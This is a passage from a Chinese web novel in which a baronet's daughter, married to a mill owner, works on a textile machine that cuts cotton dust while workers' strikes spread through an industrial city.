想起烟囱里的滚滚浓烟、厂房里的人工飞雪、和那些面黄肌瘦,双目无神的脸、以及那一连串的咳嗽。她并不觉得这个世界只由金钱和权力组成。 在资本家联手打造的黄金牢笼之外,那些手无寸铁的血肉之躯,就只能任由机器碾过他们的身躯,沦为时代的尘埃,不配好好活着吗? 当然不是这样的。 自小接受着姐姐的教导,奥黛丽无比确信这个答案。 站在彼此的立场,他们都没有错,错的是,她不该用自己的思维,去绑架对方,尤其那一刻的冲动,源于被偏爱的错觉。 赫尔曼喜欢她吗?也许有一点。但是那不重要。 喜欢这个词,有时候很珍贵,有时候却轻飘飘的。 假设未来有一天,赫尔曼的“喜欢”演变到足够有分量,甚至重到愿意为她付出一切,但那所谓的“一切”,也是属于他的。 爱与不爱,给与不给,都取决于他。 就像金丝笼里的小鸟,她当然可以佯装什么都不知道,享受着他赐予的优渥生活,偶尔还能炫耀他的宠爱。可是她也必须清楚,如果想要做出改变,想飞出去看看,只能靠自己的翅膀。 奥黛丽望着窗外思考,没有注意身后的视线。 赫尔曼注视着她,试图从她平和的脸色里读出另一种情绪,以此判断刚刚那句“没有生气”是撒谎。 可是事与愿违,她好像说的是真话。 赫尔曼垂眸,眉头紧皱。 回想一开始她受了气,很委屈地朝他跑来,再想到刚才她微笑的模样,一切似乎没有变化,诺曼小姐还是那个脾气很好的姑娘。 可是第六感告诉他,有什么变得不一样了。 究竟是什么,却说不清楚。 他不愿意承认,比起温和平静的神色,他更想看见对方眉目生动的愤怒。 赫尔曼看着窗外,面沉如水。 是他刚才的语气太凶了吗?是不是换种语气会更好? 可即便换了语气,要表达的内容依然不会合她的意。 他当然可以用言语矫饰内心的想法,可是那样有什么意义呢? 金发姑娘的确很善良,可是在她对于皮特的态度就能看出来,她的善良也有原则。 是非黑白,在她的眼里,分得很清楚。 而他呢?诞生于黑暗里的人,他甚至不记得自己手里沾过多少血。从给自己父亲画第一张遗像开始,他确信,自己所做的一切,在她的眼里,绝对不属于干净的那部分。 这是真正的他,掩饰不了的他。 就像刚才的争论里,布鲁森不甘心蛰伏,一直虎视眈眈,这个节骨眼,他不能出错,更不能答应她的请求。 如果是这方面的观念产生冲突……他毫无办法。 他眸光微顿,左手的伤疤灼热。 ——冲突的观念,代表着彼此的底色。 黑白怎么能相融? 所以,发现他的真面目,终于觉得可怕,决定远离了吗? 赫尔曼缓缓闭上眼。沸腾的情绪在这一刻平息,无波无澜,像墨菲斯雪山最初的模样。 夹在书页里的简笔画、压箱底的发带、礼堂的誓言、月光下的那支舞……以及那晚她酒醉后的吻,被这一切拨动的心弦终于可以停止震颤。 就停在这里吧,彼此都能止损。 车窗外,哈登菲尔德的阴天终于结束,露出乌云掩盖的真相。 疾风呼啸,暴雨忽至,连绵水珠砸在车顶发出闷响。 赫尔曼隐秘抬眸,玻璃窗里映出奥黛丽的脸。一个在明,一个在暗。 正如来时他预言的那样,等见识到了真正的灰暗,没有人会想留在连太阳都照不进的地方。 那双纯澈的眼睛看到了他的黑暗,甚至只是一点点,就已经后退。 假如有一天,她看见了全部,只会更加害怕吧。 如果她想走,还不算晚。至少现在,他愿意放手的。 车轮滚滚向前,载着他们离开灰霾之下的工业中心。 快到温斯顿庄园,天空忽然放晴。 车厢里似乎没有发生过争执,一切再次回到原点。 奥黛丽兀自出神,她握着拳,正在思考事情,还没意识到车子停了下来。 赫尔曼最后扫了眼车窗里的倒影,恢复冰冷的神情,推开车门。 从此刻开始,一切都要回到正轨了。 手杖落在地面,他的脚还没踏出去,身后忽然响起清脆的声音。 “怀特先生,等等。” 赫尔曼有一瞬间的怔愣。 这道声音和以往没什么不同,和初见时一样充满热情和朝气,也全然没有刚才勉强的温和。 他顿了片刻才回过头。 奥黛丽语气轻快道:“我刚刚想了一路,终于想出一个两全其美的办法。如果我能改良纺织机,在提高产量的同时,还能从根源上改善工人的环境,那么一切不就迎刃而解了吗?” 赫尔曼没有说话,查尔斯先开口:“这倒是个不错的主意,没有哪家工厂会拒绝机器的改良,减少污染倒不重要,只要能提高产量,我想所有人都会捧着钞票来买图纸。” “可是……不是我质疑你,女士。”查尔斯皱眉,斟酌道,“就像你对穷人说,脱贫最好的办法就是富裕起来。谁都知道要富裕起来,可怎么做得到呢?” “自从第一台蒸汽机问世以来,整个时代为之巨变。引领时代变革的只有那么一小部分人。”查尔斯叹了口气,带着鼓励的口吻道。 “怀特太太,我知道你在手工上有一些天赋,可是改良机器不是简单的事。就目前来说,最前沿的技术都掌握在教会手里,他们都没有成功,您怎么有这样的信心?” 闻言,奥黛丽脸上露出一点茫然。 此前,她的知识来源于姐姐的传授,以及对自我兴趣的挖掘,属于非常野生的门路。 诺曼家族一直以来都是无信仰流派,洛森郡又较为闭塞,工业不发达。奥黛丽并不清楚教会在哈登菲尔德的作用。也不清楚所谓的“前沿科技”指的什么。 她看见厂房里机器运作,脑中就在拆解它的构造,如果能够得到详细的数据,再潜心研究一段时间,奥黛丽并不觉得自己完全没把握。 可是面对查尔斯的质疑,她也拿不出证据反驳,只好嘟囔道:“我就是有信心。” 查尔斯还想打消她的念头,奥黛丽赶紧看向赫尔曼,拉着他的胳膊晃了晃:“赫尔曼,你也不相信我吗?” 赫尔曼不着痕迹地扫了眼她的手,盯着那双蓝眼睛:“你在车上想了一路,就想的这些?” 奥黛丽仰着头:“嗯!” 赫尔曼审视着她:“没有别的?” 奥黛丽垂眸,停顿一瞬,很快抬起头微笑:“没有,真的没有。你先回答我,你愿不愿意相信我?” 她的笑容很真诚,找不到一丝虚假的痕迹。 阳光明亮的心房,即便潜入一点点阴霾,也总是很快消失不见。 赫尔曼再次看向她抓着自己胳膊的手——那只蜻蜓似乎又回来了,落在他的心尖,泛起隐秘的震颤。 他一时分不清,跳动的心脏传递的,是藕断丝连的懊恼,还是失而复得的喜悦。 “我相信你。”他听见自己说。 得到他的回答,奥黛丽神气地冲查尔斯瞪眼:“等着瞧吧,老查尔斯,准备为你对我的轻视道歉。” 查尔斯苦笑:“噢,我现在就道歉可以吗,女士?” 奥黛丽大笑,挽着赫尔曼走向前,开朗得一如往常。 风吹云散,似乎阴霾没有来过,唯独地面的雨水,倒映过她一瞬间的失落。 第56章 十月初, 诺曼一家踏上回程的马车。 温斯顿庄园外,一直拖延到入夜,安娜和爱德华哭成泪人,简妮抱着奥黛丽,极力微笑:“亲爱的,记得给我写信。” 奥黛丽眼眶湿润, 很快忍住, 扬起笑脸,亲吻母亲的脸颊:“我会的,爱你, 妈妈。” “爱你,我的孩子。”简妮吻了吻奥黛丽的脸,又对葛丽泰和赫尔曼颔首, “再见,感谢你们的热情招待。” 葛丽泰拉过简妮的手, 眼含不舍:“时常和我写信,简妮, 如果可以,我真希望你永远留在这里。” “噢,葛丽泰,这也是我的意愿,可惜无法实现。有空来洛森郡做客好吗?”简妮笑看着葛丽泰,她们二人在这段时间里结下深厚的友谊,可是诺曼庄园不能没有女主人,再怎么舍不得,终归要离别。 她不愿让场面太过伤感,所以很快就踏上马车, 从车窗里招手:“再见,你们回去吧。” 奥黛丽一直挥着手,目送家人们离开,直到再也看不见马车的影子。 肯特郡的叶子黄了,微风泛着凉意,吹拂她的碎发。 赫尔曼没有错过她眼底的失落,沉默数秒,他忽然道:“今年圣曜节,你可以回家过。” 这个“家”,自然指代诺曼庄园。 奥黛丽回过神,挽上他的胳膊,一起往屋里走。 “从成婚那天起,我的家就是这里了。”她微笑,蓝眼睛和往常一样澄澈,“如果回到洛森郡,那也是像爸爸妈妈来这里一样,是做客。” 赫尔曼默然。 身边的妻子明明是笑着的,他却下意识想说些宽慰的话。 为什么要用“宽慰”这个词,他也不清楚,只是觉得那双蓝眼睛里似乎夹杂着忧伤。 她掩饰得很好,可赫尔曼擅长看穿内心,但不是个对症下药的好医生。 一路送奥黛丽到房间,他才开口道:“你是温斯顿庄园的女主人,这里的一切,都由你做主。” 奥黛丽微怔,虽然不知道赫尔曼为什么冷不丁来这么一句话,但还是礼貌道:“谢谢你,赫尔曼,那我现在可以提出一个请求吗?” 赫尔曼挺直的脊背终于放松:“你说。” “我现在掌握的机器数据还不够多,我想多去几家工厂看一看。” 赫尔曼顿了顿:“就这些?” 奥黛丽:“如果可以,请再给我一台新机器,上一台报废了。” “嗯,我会吩咐查尔斯。”赫尔曼无意识攥紧手指:“再给你安排一个助手吧,你再缺什么可以直接和他说。” 奥黛丽:“不用,露西可以充当我的助手。” 对话陷入停滞。 赫尔曼停顿片刻:“除了研究机器之外,你还有什么需要吗?” “没有了。”奥黛丽似乎有些疑惑,蓝眼睛里透着茫然。 赫尔曼不是多话的人,今晚却异常关心她的需求。 奥黛丽想了想,笑道:“你是担心父母离开后,我会难过是吗?” 赫尔曼收回视线:“很显然你没有,我的担心是多余的。” 以往这个时候,奥黛丽大抵会打趣两句,这会儿却只是笑了笑,没有说话。 “晚安,你好好休息。”赫尔曼垂眸,想伸手替她打开房门。 奥黛丽的手却先一步搭在门把手上,利落拧开,而后颔首:“晚安,怀特先生,明天见。” 房门在眼前缓缓合上,赫尔曼停留好一会儿。 身边残留着熟悉的馨香,胳膊的余温尚未消退。 走廊灯光洒在银灰发丝上,冷峻的眉眼一如往常,可是似乎又有什么悄悄发生改变。 蜻蜓落在心尖,不止是瞬间的震颤。 小小翅膀煽动的飓风,会让千里之外的雪山渐渐坍塌,只是在那一刻到来之前,一切显得很寻常。 就如此刻,他面对着紧闭的门,心里有点乱,却束手无策。 停顿许久,终于转身离开。 一门之隔,奥黛丽听见脚步声渐行渐远,轻轻叹了口气,扑向柔软的床榻,把脑袋埋进枕头里。 小时候,她不敢一个人睡,姐姐答应陪她,还说勇敢的孩子去黑暗里探险会得到礼物。等到半夜,姐姐就悄悄离开,把枕头塞进她怀里。 第二天她气呼呼质问姐姐:“贝拉你骗人,勇敢者没有礼物!” 姐姐不仅没有愧疚,还慢悠悠地说:“枕头就是勇敢者奥蒂的礼物啊。” 奥蒂:“那……那你没有陪我睡!” “可是昨晚你一个人也睡得很香。” 奥蒂懵圈:“是哦。” 姐姐把枕头塞回她手里:“带好你的小伙伴,害怕的时候就抱着它,它见证了你的勇敢。” 五岁的奥蒂就这么被姐姐三言两语打发了。 可是从那以后,她就不害怕一个人睡,变成真正的勇敢者。 奥黛丽从枕头底下摸出姐姐送的蓝宝石项链。 她摩挲着项链,想到小时候的趣事,忍不住笑出声,这段时日的疲惫也渐渐散去。 从哈登菲尔德回来之后,奥黛丽就一心扑在机器改良的研究上。 但是这并非一蹴而就的易事,更何况,她是个“野路子专家”,研究路上碰壁是再正常不过的。 奥黛丽想到这里,刚刚好起来的心情又沉寂下去。 不久前,她去镇上看望凯文。 这才知道,原来赫尔曼安排了医生给他治疗,还额外支付了大笔抚恤金。 如果不是凯文告诉她,她还在蒙在鼓里。 奥黛丽很清楚,这是超出制度外的关怀,也是看在她的份上。 可惜医生虽然治愈了凯文的外伤,却带来了一个坏消息——凯文患上了“棉尘肺”。 那天,她亲眼看见年轻小伙生生咳出血,医生束手无策。 破旧昏暗的小房子里,凯文的眼睛失去神采,他无父无母,孤单地长大,好不容易遇到心上人,想要给她更好的生活,所以拼了命地挣钱,结果却被生活宣判死刑。 不过,他只是消沉片刻,很快撑着虚弱的身子,从盒子里找出那张查尔斯给的支票,递给奥黛丽,“怀特太太,请帮我把它转交给萝丝。” 萝丝就是他的未婚妻,那晚邀请奥黛丽跳舞的年轻女孩。 “你们很快就结婚了,应该自己交给她不是吗?”奥黛丽心里隐约有不好的预感。 凯文沉默许久,擦了擦眼睛,笑着说:“我这样的人,不能耽误她。” 那天,从凯文家出来,奥黛丽沿着镇子走了很久。 她没有收那张支票,而是嘱咐凯文别放弃,留着它好好治病。就算有万一……她也会帮他照料萝丝。 她的话宽慰了凯文,可是自己的信心却像是被风越吹越远。 奥黛丽找了个僻静的山坡坐着,任由清风吹乱发髻。 自从来到肯特郡,这是她第一次感觉到无助。 心中杂乱的思绪不知道该和谁说。 她真的很想快点研究出新型的机器,可是似乎上帝要故意为难她,心里越急,就越出乱子。 数次实验失败,让她的思维陷入死胡同,甚至开始怀疑自己的想法是不是从一开始就错了。 她想找人探讨,可是几乎所有技术人才都归属于教会旗下的机械协会,哪怕是怀特工厂聘请的专家,也只会哄孩子似的陪她玩,根本不透露半点机械的核心。 此刻,蜷缩在床上,用枕头蒙住脑袋,奥黛丽深深地叹了口气。 为自己,为凯文,也为茫然的前路。 突然,门被敲响,露西端着牛奶走进来。 “伊莎贝尔小姐。” 奥黛丽掀开枕头,露出微笑:“露西,你怎么没去休息?” 露西将牛奶放在桌边,沉默片刻才道:“老爷和夫人刚走,我猜你现在的心情应该不是很好。” 奥黛丽捧着杯子喝牛奶,嘴边一圈白:“噢,亲爱的,我没有那么脆弱。” 露西帮她擦了擦嘴:“可是你最近看起来很疲惫。” 奥黛丽仰着头,乖乖地任由她擦拭:“很明显吗?” 露西莞尔。 奥黛丽嘟囔:“看来不是我的演技问题,而是你太聪明。” 露西微笑,温和地看着奥黛丽:“关心你的人,自然能够察觉你的异样,不止我一个。” 奥黛丽微怔,忽然想到赫尔曼在门外的停留。 关于感情,她也是个野路子专家,没有导师,自成体系。 就像研究机器,一旦遇到瓶颈,连个探讨的人都没有,只能靠自己列公式,做实验,硬闯过去。 她是个不爱反复咀嚼情绪的人。 那天在车上,奥黛丽用数学思维判断局势,得出结论——要先集中心力解决最重要的事情,感情的事,先放着吧。 这并不意味着她对赫尔曼产生厌恶,故意冷淡回避。她只是开启节能模式,暂停研究对方的心思,也暂停分散自己的注意力。 否则,一旦像现在这样开始猜测“他刚刚是关心我吗?”“关心我为什么不明说?”“不明说是不是我瞎猜?” 脑子里的想法会没完没了。 而这些和凯文染血的手帕相比,太微不足道。 察觉奥黛丽眼底的失神,露西掖了掖她的被角:“改良机器不是简单的事情,如果另一位诺曼小姐在场,她一定不想看到你将所有重担压在自己的身上。” 提到姐姐,奥黛丽沉默许久,扯出一丝笑:“是啊,我为什么要扛着不属于我的重担?我又不是救世主。如果姐姐在场,她会不会也觉得我很傻?” “就像赫尔曼说的,世界有它运行的规则,每个人都有自己的命运。因为一面之缘,我想插手凯文的命运,可是他已经病入膏肓,我现在改良机器又有什么用呢?”奥黛丽眼底露出迷茫,“我救不了我的朋友,我还要去走这条路吗?我能做到吗?” “那天我信誓旦旦告诉查尔斯,我一定能成功,可现实是一次又一次的失败。”奥黛丽深吸一口气,将脑袋埋进枕头里,声音闷闷的,“露西,其实我不是害怕实验的失败,我也不是害怕丢脸,我只是害怕……” 她停顿许久,声音哽咽:“我只是害怕我做的一切毫无意义。” 改良的机器仅仅只是“改良”,无法杜绝棉尘肺,更无法改变工人被压迫的命运。就像女王一纸婚约就要逼得她们不得不嫁。这就是赫尔曼所说的……世界的规则。 她是规则之内的幸存者,即便身不由己,还能做养尊处优的怀特太太。说到底,工人和她有什么关系呢?她为什么在看见飘满飞絮的厂房后,会想要替他们争一争?在听见赫尔曼所说的资本规则之后,内心生出莫名的不忿? 在看到凯文吐着血,还要将那张用命换来的支票交给未婚妻,她为什么有种兔死狐悲的伤心? 那不是工人们的命吗?谁让上帝已经写好了他们注定的命呢? 而她是男爵小姐,是怀特太太,是金丝笼里衣食无忧的美丽鸟雀,是人人都羡慕的好命,她凭什么不知足?凭什么还要自以为是,以为头脑多么聪明,能够改变这个世界,改变自己的命,改变他们的命? 奥黛丽用枕头捂住脸,浑身颤抖。 蓝宝石项链泛着凉意,水珠砸落在石头上。 事实上,她改良不出机器,改不了工人的命,也改不了自己的命,他们都活在世界的规则里。注定有人在云端,有人在泥潭,有人在笼子里度过一生。 她不是工人,可到头来,没什么不同。 空气里弥漫着悲伤,耳边响起露西柔和的声音:“如果另一位诺曼小姐在场,也许她能够给出更多切实可行的建议。可是今晚很不幸,只有我见证你的脆弱。” “亲爱的小姐,我无比确信一点,你的姐姐绝不会认为你的想法很傻。”露西眨眨眼,“退一步说,即便是傻,那又能怎么样呢?第一台蒸汽机问世以前,有谁会相信小小的机器能改变世界?玛格丽特成为第一位女爵之前,又有谁相信女性可以上阵杀敌,成为护国元勋?” “我没有多么广博的学识,可是却记得你姐姐说过的那句话。”露西将奥黛丽的脑袋抱在怀里,轻轻抚摸,“无论什么时候,请永远乐观,永远坚定。” 奥黛丽抬头:“即便我决定做个傻子?” “是的,即便是个傻子。”露西挑眉,“一个想要改变世界,不想哈登菲尔德永远笼罩在灰霾之下的傻子。” 她顿了顿,再次抱住奥黛丽,“我确信,世界需要更多这样的傻子。” 第57章 一夜过去, 清晨的阳光再次洒向窗台。 奥黛丽伸了个懒腰,揉了揉肿胀的眼睛,人还完全清醒。 露西推着衣服架子走进来,微笑打招呼:“早安,太太,睡得好吗?” 和露西谈完心, 做了一晚上的梦, 奥黛丽其实休息得并不好,但是她在梦里研究出了新型纺织机,还上了各大报纸头条, 成为锡兰公国炙手可热的发明家。 所以刚睁开眼, 乐观的诺曼小姐就把昨晚的郁闷全忘了。 “好极了!我做了一个很棒的梦!”她兴奋地跳下床, 把梦里想到的细节全都记下来。 当然, 真实世界没有上帝梦中赐予神力的故事,经过仔细检查, 毫无意外,纸上都是没有逻辑的梦话。 奥黛丽盯着纸张,意识到自己的行为真是傻透了,不由得笑出声。 虽然没有奇迹降临, 但这个梦境就像是冥冥之中的预兆,预示她一定可以成功! 露西看着重新焕发活力的奥黛丽,欣慰地松了口气。 赫尔曼的办事效率很高,昨晚答应的事, 第二天就兑现。 奥黛丽刚下楼,就发现莫尔一家已经到了。 又是上次那样殷勤的架势,但这次不止莫尔太太一个人。 莫尔先生当先摘帽颔首,微笑道:“日安,怀特太太。怀特先生说您想要参观鄙人的机器,今天我们特意准备了马车来接您。” 门外,金光闪闪、充满豪华气息的四驾马车正等候在那。 奥黛丽愣住,她以为赫尔曼只是和别人打个招呼,约好时间她再自己过去,没想到这么兴师动众。 运用新学会的社交技能寒暄一番,奥黛丽没耽误时间,直接上了车。 “听说怀特太太对设计手工、机器之类的东西很感兴趣?”莫尔先生笑眯眯道,“真不愧是出身良好的小姐,连爱好都和普通的女士不一样!” 奥黛丽听出了他的奉承,笑了笑,随意应付几句就和莫尔太太聊起天来。 比起莫尔先生,她和莫尔太太更有交情。 一来二去,莫尔先生插不进话,就识趣地把主场让给妻子,自己笑眯眯地找借口去另一辆车。 等丈夫一走,莫尔太太立刻夸张道:“噢,可算有莫尔先生说不上话的场合了。我说太太们打交道又不需要他来,可他偏要掺和。希望您没有介意。” 经过母亲的集训,现在奥黛丽偶尔能听懂弦外之音,莫尔太太看似在骂丈夫,实则是打圆场,挽回她对莫尔家的印象分。 “没关系,莫尔太太。” 奥黛丽嘴上这么说,心里大概明白,她以为的深入工厂观摩机器,又要变成一场小型太太社交茶话会。 赫尔曼很忙,不可能事事料理周全。她要研究改良机器的事情还处于保密状态,不可能在未成功前透露。所以接到信的莫尔先生会错意,只当是贵族太太的另类兴趣。 到了莫尔家,看见一屋子盛装华服的女士和精致点心,奥黛丽就知道没料错。 “怀特太太,别着急,您期待的东西很快就到。”莫尔太太和蔼地邀请奥黛丽坐下,又招呼女仆上茶。 周围一圈太太都是平时经常来往,有求于怀特家族的,一看到莫尔太太的邀约,都欣然前往,也不管请柬上写的是什么。 因此,当四个男仆抬着莫尔工厂的纺织机上来的时候,众太太都愣住了。 奥黛丽的笑容也僵住。 “莫尔太太,呃……我是说,如果大家不感兴趣的话,还是别勉强自己了,要不你们去玩牌吧?” “不感兴趣?怎么会不感兴趣?”莫尔太太立刻环视四周:“噢!怀特太太,我下请柬的时候写的很清楚,这是机械鉴赏会。我想没有人会觉得勉强。你们说对吗?” 众太太:“……” 什么家庭放着古董名画不去欣赏,要去品鉴一台机器啊? ! 可是众太太们只停顿一秒,附和声此起彼伏。 “是的,是的,我们就是为了欣赏机械!” “我们感兴趣极了,怀特太太!” “是啊!瞧瞧这台机器,真是……真是”其中一位太太笑容僵硬,“壮观雄伟……” 奥黛丽被她们围在中间,维持着假笑,眼底充满无奈。 她真的只想一个人安静地看那台机器! …… “呵。”嘈杂声里,突然有人发出短促的轻笑。 奥黛丽像是被毛线团缠住的猫,好不容易挣脱出来,“洁希亚夫人?!” 她惊讶地看着角落里穿着黑裙的女人,“你怎么也在这里?” 洁希亚夫人慢条斯理地放下咖啡杯,抬眸:“如请柬所说,鉴赏机械。” 奥黛丽:“……?” 虽然只有数面之缘,但奥黛丽可不觉得这位孤僻的侯爵夫人,也是为了巴结自己才来。 东道主莫尔太太也在困惑,实际上,她只是看在洁希亚买过模型的份上,才发出邀约,没想到对方真的来了。 “您……您也对纺织机感兴趣吗?”奥黛丽问。 宽大的黑色蕾丝帽檐遮住洁希亚的半张脸,却挡不住她嘲弄的神情:“原本是有的,但现在看来,并不如想象中的有趣。” “是的。”奥黛丽深有同感,下意识叹了口气,看向纺织机,“我以为能看到更新的东西,启发我的灵感。可这是一台已经被淘汰的纺织机,导纱器和轴承都磨损得厉害,能耗很高。市面上已经没有人用了。” 洁希亚夫人眸光微顿,眼底滑过怪异的神情。 “我以为你只喜欢手工模型。” “但目前更关注这个大家伙。”奥黛丽耸耸肩。 洁希亚审视片刻,忽然起身,走到纺织机前:“你说的问题大致没错,但它和市面上的机器相比,并不算全盘落后。” “你看。”戴着手套的手点了点机器底部,“这里加装了旋转毛刷和湿麻布滤尘,这是目前机器没有的部分。” “正是因为这个部件存在,所以它运转时的能耗增加,轴承的压力提升。相当于,同样出一百分力,这台机器只有百分之五十投入生产,另一部分全都提供给这里。所以磨损率高,且产量低。” 奥黛丽若有所思,很快眼前一亮。 “现在的机器取消了这个部件,把节省下来的动能提供给生产。”她起身站在洁希亚身边,细细观摩机器,“如果我再把它加装到新机器上,是不是就能解决棉絮污染的问题呢?” 洁希亚微眯起眼,打量着奥黛丽:“理论上是这样,但你必须解决能耗的问题,否则毫无意义。” 奥黛丽觉得脑子里闪过一道灵光,她顾不得别的,只想立刻抓住它! “莫尔太太,请给我一沓草稿纸,再请各位夫人出去喝茶好吗,谢谢。”奥黛丽语速飞快,拎起裙子席地而坐,脑子里刷刷记录着这台机器的构造。 莫尔太太眼神茫然,很快反应过来,招呼着众人出去。 虽然不知道怀特太太在干什么,但是只要让她高兴,这个茶话会的目的就达到了。 空气里响起笔尖划过纸张的刷刷声。 花厅里只剩洁希亚,她安静地打量着投入计算的奥黛丽,眸光深沉。 奥黛丽的眼睛里只有白纸上的公式,以及各种运算。 她浑然忘我,完全不知道时间的流逝。 直到空白的草稿纸被填满,奥黛丽终于抬起头,呼出一口气,高兴道:“洁希亚夫人,我算出来了!” “我刚看过,旧机器的旋转毛刷采用硬鬃毛材质,且与锭子的接触压力固定。”她神采飞扬,刷刷在纸上画草稿图,“当棉纱通过时,毛刷持续高速摩擦锭子表面,一方面会因摩擦力过大消耗额外动力,这部分约占总能耗的百分之三十!” “另一方面硬鬃毛易刮伤锭子,反而增加了棉纱断裂率,导致产量下降百分之十五到二十五左右。”奥黛丽眼睛亮亮的,“假如要解决能耗问题,就得从这方面入手!” 洁希亚盯着那叠草稿纸,越看神情越凝重。 她没有说话,而是拿出空白纸张,重新运算。 二十分钟后,纸上的结果和奥黛丽说出的数字,完全一致。 良久,她终于抬起头,匪夷所思地看向奥黛丽:“你是说,你在这么短的时间里,拆解了机械构造图,且在它没有运作的状况下推演出数据,还算出误差极小的答案?” 奥黛丽茫然地点头:“是的,正是因为它没有运作,所以我只能推算出百分比,无法得出更确切的结果。要想更精准,我必须拥有更多实验数据。” 有那么几秒,洁希亚说不出话。 她动了动嘴唇,眼神复杂:“相信我,这已经足够震撼了,女士。” 奥黛丽露出一抹笑,被夸奖的高兴终于让她回过神。 “等等!”她盯着洁希亚的草稿纸,反复看了几遍:“洁希亚夫人,这是你算出来的?!” “噢,天哪!” 奥黛丽有种找到同类的惊喜,她瞪大眼睛,原地转了好几圈。 “难以置信!如此复杂的公式运算!速度还这么快!你在我认识的女性里排第三诶!你太厉害了!” 洁希亚皱眉。 需要提醒这位小姐,她自己的计算速度已经倍杀了吗?这在惊叹什么啊? 要不是脸上的神情够真诚,只会让人觉得是嘲讽吧。 洁希亚无语了一阵。 “……”洁希亚:“前两位是?” “第二名是我的姐妹。至于第一名……”奥黛丽红着脸,骄傲地挺起胸膛,“当然是我啦。” “……” 夸到最后开始自夸,这么离谱的事情放在金发小姐身上,居然毫不奇怪。 “噢,无上殊荣。”洁希亚表情平淡,“看来诺曼家族专出天才。” 奥黛丽谦逊地摆手:“也不全是,只有我们两个啦!” 洁希亚:“……” 窗外透出夕阳的暖黄光晕,时候不早了,莫尔太太试探着敲了敲门。 茶话会即将结束,奥黛丽赶紧收好稿纸。 “洁希亚夫人,”突然想起灵感来源,她快速拉住黑衣女人的手,眼睛亮亮的,“我现在在研究改良纺织机,如果你也有兴趣的话,我们能一起探讨吗?” 奥黛丽的邀请似乎在洁希亚的意料之中。 她神情波澜不惊,淡淡道:“抱歉,这项研究并不在我擅长的范围内。” 奥黛丽有些失望,但也能理解。 随着研究的深入,她渐渐知道其实很多人终其一生只会钻研一种东西,例如建筑、机器、铁路等等。 每个人的天赋技能点都不同,真正要精通一门学问,都是不容易的事情。 像洁希亚这样才正常,她应该在一开始就选定了某条适合自己天赋的路,很难再有精力转向别的地方。 而奥黛丽从一开始就学得很野,姐姐的教育理念就是随着她的兴趣自由发挥,所以她除了对数字拥有与生俱来的敏锐,关于其他道路,还在慢慢探索中。 正要礼貌告别,洁希亚突然话锋一转,“不过……” 奥黛丽抬眸,对方递来一张名片, 上面写着:承知社。 联系人:洁希亚·德罗什福尔。 地址:晨曦街37号,哈登菲尔德。 “这里也许有人可以帮到你。” 奥黛丽:“承知社?这是什么地方?” “容纳天才和异端的秘密之地。”洁希亚系好黑色宽檐帽,轻笑,“敢来吗?” 她顿了顿,没有喊怀特太太,“伊莎贝尔·诺曼。” 奥黛丽微怔,很快求知欲战胜一切:“当然!”—— 作者有话说:奥黛丽·先天理科圣体·全灵根拥有者·金手指大开小天才·诺曼。 但作者是文科生,千万不许用理科为难我,不管不管不管忽略一切信奉两个女主宝宝是天才好吗,好的。 第58章 章节锁定 第59章 奥黛丽每周都会抽空前往承知社。在这里,她一边和特蕾莎探讨机器改良的方案,一边充当孩子们的启蒙老师,教她们基础知识。 直到初冬降临, 哈登菲尔德迎来第一场雪,奥黛丽与特蕾莎终于攻克了机械能耗难题, 后续的组装与调整, 就需要用到赫尔曼给她准备的材料与实验室。 这些天, 奥黛丽一直用莫尔太太当借口,葛丽泰已经心生怀疑。毕竟向来不爱社交的儿媳突然每周都要参加太太茶话会,实在奇怪。 好在赫尔曼最近也忙得脚不沾地, 没有发现异样。奥黛丽这才得以蒙混过关。 圣曜节将至,又突破了技术瓶颈,奥黛丽满怀着好心情踏上回程的马车。洁希亚却突然跟了出来,叮嘱道:“最近这段时间,不要过来。” “怎么了?发生什么事情了吗?”奥黛丽神情一怔。 “我刚收到来自赫斯兰的信件,那边的工人已经开始闹罢工,当街枪杀了一名工厂老板。很快,哈登菲尔德也会乱起来。”洁希亚又将一张赫斯兰报纸递给她,小角落里有一则不起眼的报道,简单写明了工会罢工始末。 “什么?当街枪杀?” 奥黛丽环视周围,发现晨曦街已经聚集了不少人,还没有形成规模,但是似乎在谋划着什么。 “是的, 你无法要求走投无路的人遵守法律。” 洁希亚压低声音道:“圣曜节快到了,对棚户区很多缺衣少食的工人而言,这不是团聚的节日。他们熬不过严寒,被压迫到极致, 反抗就成为必然。” 灰蒙蒙的天空又开始下起雪,冰凉的雪花落在脸上,奥黛丽并没有像往常那样快乐,而是无端觉得寒冷。 “会有用吗?” 洁希亚沉默片刻:“不知道。我希望会有好结果。” “我想给他们提供一些帮助。” 洁希亚摇摇头:“你的身份特殊,最好不要出面。别忘了那条可怕的新闻。” 奥黛丽垂眸,她想了想:“我明白了。” “注意安全,千万别再过来。”洁希亚再次叮嘱。 马车载着奥黛丽跑远,冷风刮在脸上,像凛冽的刀子。 数月前还算气氛平和的街道,突然多了一些意味不明的视线。 奥黛丽特意戴好灰扑扑的兜帽,将口鼻遮得严严实实,挡住那些探究的目光。 “八小时!八小时!” “罢工!罢工!” “八小时!八小时!” …… 马车驶出晨曦街,路过工厂,就看见外面围着许多人,振臂高呼。 奥黛丽紧张抬眸,发现不是怀特工厂,不由得松了口气。 下一秒,又忍不住唾弃自己潜意识里的软弱。 工人们为争取自己的权益而罢工,这没有错,应该希望他们成功。 可是……她低头看了眼报纸,心中升起担忧和恐惧。 【工人诉求无解,当街枪杀约瑟芬工厂主。 】 白雪落在报纸上,洇湿了可怕的字眼- 报纸被扔在书桌上,烟斗着重敲了敲“枪杀”的单词,理查德·布鲁森的声音在书房响起。 “怀特先生,现在该是我们放下成见,携手合作的时候了。否则,赫斯兰的今天,就是我们的明天。” 身后,十数名肯特郡商人默默点头:“是啊,哈登菲尔德已经有苗头了,我的工厂已经有人在闹事。” “一群混蛋吵着要八小时工作制,还要求医疗保障,拉拉杂杂的单子写了一大堆,我压根懒得看!”有人气得嚷嚷,“算什么东西?也配跟我们提要求?” 莫尔先生叹气道:“可是如果不答应,他们一直这样闹下去怎么办?停工一天,我们就损失一天的钱,教会收税的时候可不会听我们狡辩。” “呵!停工?他们不干,有的是人干!我倒要看是谁先撑不住!” “是啊,大不了像原来那样,收买几个带头的,给他们一点好处,联盟自然就垮了。” “这次恐怕不一样,赫斯兰那边成立了工会,有高明的人在背后指点。”查尔斯肃立在一旁,听了好一会儿才出声,“如果他们始终团结一心,恐怕最后妥协的还是我们。” 莫尔先生不再说话,偷觑赫尔曼的脸色。 理查德叼着烟斗,看向书桌后始终沉默的银头发先生。 “这也是你的意思吗?怀特先生。”老布鲁森眸光阴鸷,“真的打算向一群底层工人妥协?” “噢,布鲁森先生,这只是我个人的见解,而不是……” 